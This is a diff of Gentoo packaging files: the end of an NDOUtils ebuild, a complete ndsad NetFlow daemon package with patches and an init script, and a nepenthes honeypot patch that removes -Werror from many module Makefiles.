+ 'docs/NDOUtils Documentation.pdf'
+ Changelog
+ README
+ REQUIREMENTS
+ TODO
+ UPGRADING
+)
+
+src_install() {
+ default
+ emake DESTDIR="${D}" install-config
+
+ newinitd "${FILESDIR}"/ndo2db.init-nagios3 ndo2db
+}
+
+pkg_postinst() {
+ elog "To include NDO in your Nagios setup you'll need to activate the NDO broker module"
+ elog "in /etc/nagios/nagios.cfg:"
+ elog "\tbroker_module=/usr/bin/ndomod-3x.o config_file=/etc/nagios/ndomod.cfg"
+}
diff --git a/net-analyzer/ndsad/Manifest b/net-analyzer/ndsad/Manifest
new file mode 100644
index 000000000000..23e397dfa101
--- /dev/null
+++ b/net-analyzer/ndsad/Manifest
@@ -0,0 +1 @@
+DIST ndsad-1.33.tgz 214614 SHA256 a46403ff15c03b45b479832f5e6d861ec4d6474ef953f7965ae0239c90b9026b SHA512 38ebca91f28d763ce334d92361779f100ee6b98d6d17485bf096f913f777e8525add63bd73aeea43321cee622e10cb88020aca7af492fbafdd50cf740510bd51 WHIRLPOOL e5e202eab7fc16120f1a56d7691fbdb36c4a9af65cc4ec5fd9d39f0d515937ef29fccd6c08d948ddfaf30552dc0b7af63a395f731704c3fa79d7bbf935b81ba8
diff --git a/net-analyzer/ndsad/files/ndsad-1.33-conf_path.patch b/net-analyzer/ndsad/files/ndsad-1.33-conf_path.patch
new file mode 100644
index 000000000000..cf3c827cdde7
--- /dev/null
+++ b/net-analyzer/ndsad/files/ndsad-1.33-conf_path.patch
@@ -0,0 +1,11 @@
+--- a/ndsad.cc
++++ b/ndsad.cc
+@@ -12,7 +12,7 @@
+ */
+
+
+-#define conf_path "/netup/utm5/ndsad.cfg"
++#define conf_path "/etc/ndsad.conf"
+
+ #include "pcap.local.h"
+
diff --git a/net-analyzer/ndsad/files/ndsad-1.33-gentoo.patch b/net-analyzer/ndsad/files/ndsad-1.33-gentoo.patch
new file mode 100644
index 000000000000..3ccbe3432932
--- /dev/null
+++ b/net-analyzer/ndsad/files/ndsad-1.33-gentoo.patch
@@ -0,0 +1,23 @@
+--- a/configure.in
++++ b/configure.in
+@@ -24,9 +24,6 @@
+ AC_DEFINE(OS_BSD, 2,[BSD OS code])
+ AC_DEFINE(OS_SOLARIS, 3,[SOLARIS on SPARC code])
+
+-CFLAGS=-g
+-CXXFLAGS=-g
+-
+ AC_CHECK_LIB(pcap, pcap_loop, [LIBS="$LIBS -lpcap"; __ac_have_libpcap=1;], [ break ])
+
+ case "$host_os" in
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -1,6 +1,6 @@
+-bin_PROGRAMS = ndsad
++sbin_PROGRAMS = ndsad
+
+ ndsad_SOURCES = linux_ulog.cc linux_ulog.h debug.h eth-hndl.h handlers.h iflist.h iptonf.h ldefs.h logger.h mempool.h nethdr.h nfc.h nf.h ppp-hndl.h thr.h config.cc debug.cc eth-hndl.cc handlers.cc iflist.cc iptonf.cc logger.cc mempool.cc ndsad.cc nf.cc nfc.cc ppp-hndl.cc thr.cc bsd_divert.cc bsd_divert.h
+
+-ndsad_CXXFLAGS = $(AM_CXXFLAGS) -O0 -fno-inline -g -ftemplate-depth-32
++ndsad_CXXFLAGS = $(AM_CXXFLAGS) -fno-inline -ftemplate-depth-32
+ ndsad_LDFLAGS = $(AM_LDFLAGS)
diff --git a/net-analyzer/ndsad/files/ndsad-1.33-getpid.patch b/net-analyzer/ndsad/files/ndsad-1.33-getpid.patch
new file mode 100644
index 000000000000..c0e6d94a301c
--- /dev/null
+++ b/net-analyzer/ndsad/files/ndsad-1.33-getpid.patch
@@ -0,0 +1,10 @@
+--- a/linux_ulog.h
++++ b/linux_ulog.h
+@@ -8,6 +8,7 @@
+ #include <pthread.h>
+ #include <iostream>
+ #include <sys/types.h>
++#include <unistd.h> /* getpid() */
+ #include <sys/socket.h>
+
+ /// linux specific headers!
diff --git a/net-analyzer/ndsad/files/ndsad-1.33-log-path.patch b/net-analyzer/ndsad/files/ndsad-1.33-log-path.patch
new file mode 100644
index 000000000000..fbeab07fb7a0
--- /dev/null
+++ b/net-analyzer/ndsad/files/ndsad-1.33-log-path.patch
@@ -0,0 +1,11 @@
+--- a/ndsad.conf
++++ b/ndsad.conf
+@@ -75,7 +75,7 @@
+ # Default:
+ #log (null)
+ # Example:
+-log /tmp/ndsad.log
++log /var/log/ndsad.log
+
+ # Jump to another configuration file
+ # Current file is closed after this line! Beware of loops!
diff --git a/net-analyzer/ndsad/files/ndsad-1.33-strncpy-overflow.patch b/net-analyzer/ndsad/files/ndsad-1.33-strncpy-overflow.patch
new file mode 100644
index 000000000000..5078f1555ec6
--- /dev/null
+++ b/net-analyzer/ndsad/files/ndsad-1.33-strncpy-overflow.patch
@@ -0,0 +1,12 @@
+--- a/handlers.h
++++ b/handlers.h
+@@ -30,7 +30,8 @@
+ #ifdef WIN32
+ #define IFN_SIZE 512 // on windows iface names are VEERY long
+ #else
+-#define IFN_SIZE 32 // iface name size. As in linux/sockios.h
++#include <net/if.h>
++#define IFN_SIZE IFNAMSIZ // iface name size. As in linux/sockios.h
+ #endif
+
+ #define MPH_IFLIST 0x2 // iface type - for mempool
diff --git a/net-analyzer/ndsad/files/ndsad.conf.d b/net-analyzer/ndsad/files/ndsad.conf.d
new file mode 100644
index 000000000000..2f843f84ed3d
--- /dev/null
+++ b/net-analyzer/ndsad/files/ndsad.conf.d
@@ -0,0 +1,9 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# See config file /etc/ndsad.conf for configuration options.
+
+# If you want to add any extra command line options to be used by ndsad on
+# start-up put them here.
+NDSAD_OPTS=""
diff --git a/net-analyzer/ndsad/files/ndsad.init b/net-analyzer/ndsad/files/ndsad.init
new file mode 100644
index 000000000000..8221abdda9a7
--- /dev/null
+++ b/net-analyzer/ndsad/files/ndsad.init
@@ -0,0 +1,33 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -f /etc/ndsad.conf ] ; then
+ eerror "/etc/ndsad.conf does not file exists!"
+ return 1
+ fi
+
+ return 0
+}
+
+start() {
+ # Comment out the following line to get faster startups
+ checkconfig || return 1
+
+ ebegin "Starting ndsad"
+ # On success ndsad returns 1.
+ start-stop-daemon --start --quiet --exec /usr/sbin/ndsad -- -d ${NDSAD_OPTS} >/dev/null 2>&1
+ eend $(( $? - 1 ))
+}
+
+stop () {
+ ebegin "Stopping ndsad"
+ start-stop-daemon --stop --quiet --pidfile=/run/ndsad.pid --retry 20 >/dev/null
+ eend $?
+}
diff --git a/net-analyzer/ndsad/metadata.xml b/net-analyzer/ndsad/metadata.xml
new file mode 100644
index 000000000000..251ca58e234d
--- /dev/null
+++ b/net-analyzer/ndsad/metadata.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription lang="en">
+ The NetUP ndsad (NetUp Data Stream Accounting Daemon) utility captures
+ IP-traffic from network interfaces and export NetFlow v.5. Data is
+ gathered from libpcap library on Unix and from winpcap on Windows. Also
+ you are able to use tee/divert sockets on FreeBSD and ULOG on Linux for
+ data source.
+ </longdescription>
+ <longdescription lang="ru">
+ Демон ndsad (NetUp Data Stream Accounting Daemon) компании Нетап
+ захватывает сетевой трафик с сетевых интерфейсов и экспортирует его в
+ NetFlow v.5. Трафик собирается при помощи библиотеки libpcap в Unix или
+ winpcap в Windows. В качестве источника данных вы также можете
+ использовать tee/divert сокеты в FreeBSD и ULOG в Linux.
+ </longdescription>
+ <upstream>
+ <remote-id type="sourceforge">ndsad</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ndsad/ndsad-1.33-r1.ebuild b/net-analyzer/ndsad/ndsad-1.33-r1.ebuild
new file mode 100644
index 000000000000..3b8e21aeb43c
--- /dev/null
+++ b/net-analyzer/ndsad/ndsad-1.33-r1.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Cisco netflow probe from libpcap, ULOG, tee/divert sources"
+HOMEPAGE="http://sourceforge.net/projects/ndsad"
+SRC_URI="mirror://sourceforge/ndsad/ndsad-${PV}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86"
+
+DEPEND=">=net-libs/libpcap-0.8"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-conf_path.patch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-getpid.patch \
+ "${FILESDIR}"/${P}-log-path.patch \
+ "${FILESDIR}"/${P}-strncpy-overflow.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ econf --with-ulog=yes
+}
+
+DOCS=( ChangeLog AUTHORS README )
+
+src_install() {
+ default
+
+ doman ndsad.conf.5
+
+ insinto /etc
+ newins ndsad.conf ndsad.conf
+
+ newinitd "${FILESDIR}"/ndsad.init ndsad
+ newconfd "${FILESDIR}"/ndsad.conf.d ndsad
+}
diff --git a/net-analyzer/nepenthes/Manifest b/net-analyzer/nepenthes/Manifest
new file mode 100644
index 000000000000..fed5a4b24987
--- /dev/null
+++ b/net-analyzer/nepenthes/Manifest
@@ -0,0 +1,2 @@
+DIST nepenthes-0.2.2-gcc44.patch.bz2 1786 SHA256 2e8ecf67df2f90273a8b29a3dae0e7f9afef7ddd279a5e7981362dc1d4c12e83 SHA512 d77ea31971bcbff261e28242a59f1e2351136aae6c3e809dc827045ce8e4cfe5b67b9c12a1e3b3a04868bdbcdbd37e5bc7aaeee334838a8f485500914b3b0c6e WHIRLPOOL 33d149aae88bccc5c8d595641462654d5bc915e4c6d853ee507a28719275ac8dd2bdc885ae3181eefed229d747fdeab78bdc4eb39d77007179b7c9f494178901
+DIST nepenthes-0.2.2.tar.bz2 580491 SHA256 70d4ec64a3651eba18e2aa623326c27d888d588f75525fe87577a5eb28ae6a12 SHA512 b22d139a22aef2648a3d9e87e425f1d02404e30126eb7265ef2d584e1b5db62cc8cb92027212394576bedf53b3692ded7a2b6b3544c03f0828faf94c9553b70d WHIRLPOOL 769f4c4a561465c7baf82afd12d7f862ad4faea82c436bf81aeb947d215a4e36ccbc73aedef396945647972234a0ab949d2f02b0874bc3c570a88a5181ca40a9
diff --git a/net-analyzer/nepenthes/files/nepenthes-0.2.2-Werror.patch b/net-analyzer/nepenthes/files/nepenthes-0.2.2-Werror.patch
new file mode 100644
index 000000000000..3037e85e875a
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes-0.2.2-Werror.patch
@@ -0,0 +1,649 @@
+--- a/nepenthes-core/src/Makefile.am
++++ b/nepenthes-core/src/Makefile.am
+@@ -4,7 +4,7 @@
+
+ AUTOMAKE_OPTIONS = foreign
+
+-AM_CPPFLAGS = -I../include -I ../.. -Wall -Werror
++AM_CPPFLAGS = -I../include -I ../.. -Wall
+ AM_LDFLAGS = ${LIB_MAGIC} ${LIB_CAP} ${LIB_DL}
+
+ bin_PROGRAMS = nepenthes
+--- a/modules/x-3/Makefile.am
++++ b/modules/x-3/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = x3.la
+--- a/modules/vuln-ftpd/Makefile.am
++++ b/modules/vuln-ftpd/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnftpd.la
+--- a/modules/download-link/Makefile.am
++++ b/modules/download-link/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = downloadlink.la
+--- a/modules/vuln-netbiosname/Makefile.am
++++ b/modules/vuln-netbiosname/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnnetbiosname.la
+--- a/modules/submit-http/Makefile.am
++++ b/modules/submit-http/Makefile.am
+@@ -1,7 +1,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+ AM_LDFLAGS = $(LIB_CURL)
+
+--- a/modules/download-creceive/Makefile.am
++++ b/modules/download-creceive/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = downloadcreceive.la
+--- a/modules/module-bridge/Makefile.am
++++ b/modules/module-bridge/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = modulebridge.la
+--- a/modules/vuln-sub7/Makefile.am
++++ b/modules/vuln-sub7/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnsub7.la
+--- a/modules/x-9/Makefile.am
++++ b/modules/x-9/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = x9.la
+--- a/modules/module-honeytrap/Makefile.am
++++ b/modules/module-honeytrap/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE -I/usr/include/libipq
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_PCAP} ${LIB_IPQ}
+
+ pkglib_LTLIBRARIES = modulehoneytrap.la
+--- a/modules/x-6/Makefile.am
++++ b/modules/x-6/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = x6.la
+--- a/modules/log-hexdump/Makefile.am
++++ b/modules/log-hexdump/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = loghexdump.la
+--- a/modules/submit-gotek/Makefile.am
++++ b/modules/submit-gotek/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = submitgotek.la
+--- a/modules/dnsresolve-adns/Makefile.am
++++ b/modules/dnsresolve-adns/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_ADNS}
+
+ pkglib_LTLIBRARIES = dnsresolveadns.la
+--- a/modules/download-ftp/Makefile.am
++++ b/modules/download-ftp/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = downloadftp.la
+--- a/modules/vuln-realvnc/Makefile.am
++++ b/modules/vuln-realvnc/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnrealvnc.la
+--- a/modules/module-peiros/Makefile.am
++++ b/modules/module-peiros/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = modulepeiros.la
+--- a/modules/submit-postgres/Makefile.am
++++ b/modules/submit-postgres/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = submitpostgres.la
+--- a/modules/download-curl/Makefile.am
++++ b/modules/download-curl/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_CURL}
+
+ pkglib_LTLIBRARIES = downloadcurl.la
+--- a/modules/download-http/Makefile.am
++++ b/modules/download-http/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = downloadhttp.la
+--- a/modules/log-surfnet/Makefile.am
++++ b/modules/log-surfnet/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -I/usr/include/postgresql -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+ pkglib_LTLIBRARIES = logsurfnet.la
+
+--- a/modules/log-download/Makefile.am
++++ b/modules/log-download/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = logdownload.la
+--- a/modules/download-csend/Makefile.am
++++ b/modules/download-csend/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = downloadcsend.la
+--- a/modules/submit-mwserv/Makefile.am
++++ b/modules/submit-mwserv/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+ AM_LDFLAGS = $(LIB_CURL)
+
+--- a/modules/vuln-wins/Makefile.am
++++ b/modules/vuln-wins/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnwins.la
+--- a/modules/x-2/Makefile.am
++++ b/modules/x-2/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = x2.la
+--- a/modules/vuln-pnp/Makefile.am
++++ b/modules/vuln-pnp/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnpnp.la
+--- a/modules/vuln-upnp/Makefile.am
++++ b/modules/vuln-upnp/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnupnp.la
+--- a/modules/vuln-msmq/Makefile.am
++++ b/modules/vuln-msmq/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnmsmq.la
+--- a/modules/vuln-dcom/Makefile.am
++++ b/modules/vuln-dcom/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulndcom.la
+--- a/modules/vuln-mydoom/Makefile.am
++++ b/modules/vuln-mydoom/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnmydoom.la
+--- a/modules/submit-norman/Makefile.am
++++ b/modules/submit-norman/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_CURL}
+
+ pkglib_LTLIBRARIES = submitnorman.la
+--- a/modules/vuln-asn1/Makefile.am
++++ b/modules/vuln-asn1/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnasn1.la
+--- a/modules/vuln-lsass/Makefile.am
++++ b/modules/vuln-lsass/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnlsass.la
+--- a/modules/log-irc/Makefile.am
++++ b/modules/log-irc/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = logirc.la
+--- a/modules/vuln-netdde/Makefile.am
++++ b/modules/vuln-netdde/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnnetdde.la
+--- a/modules/vuln-optix/Makefile.am
++++ b/modules/vuln-optix/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_PCRE}
+
+ pkglib_LTLIBRARIES = vulnoptix.la
+--- a/modules/vuln-sav/Makefile.am
++++ b/modules/vuln-sav/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+ pkglib_LTLIBRARIES = vulnsav.la
+
+--- a/modules/vuln-sasserftpd/Makefile.am
++++ b/modules/vuln-sasserftpd/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnsasserftpd.la
+--- a/modules/submit-file/Makefile.am
++++ b/modules/submit-file/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = submitfile.la
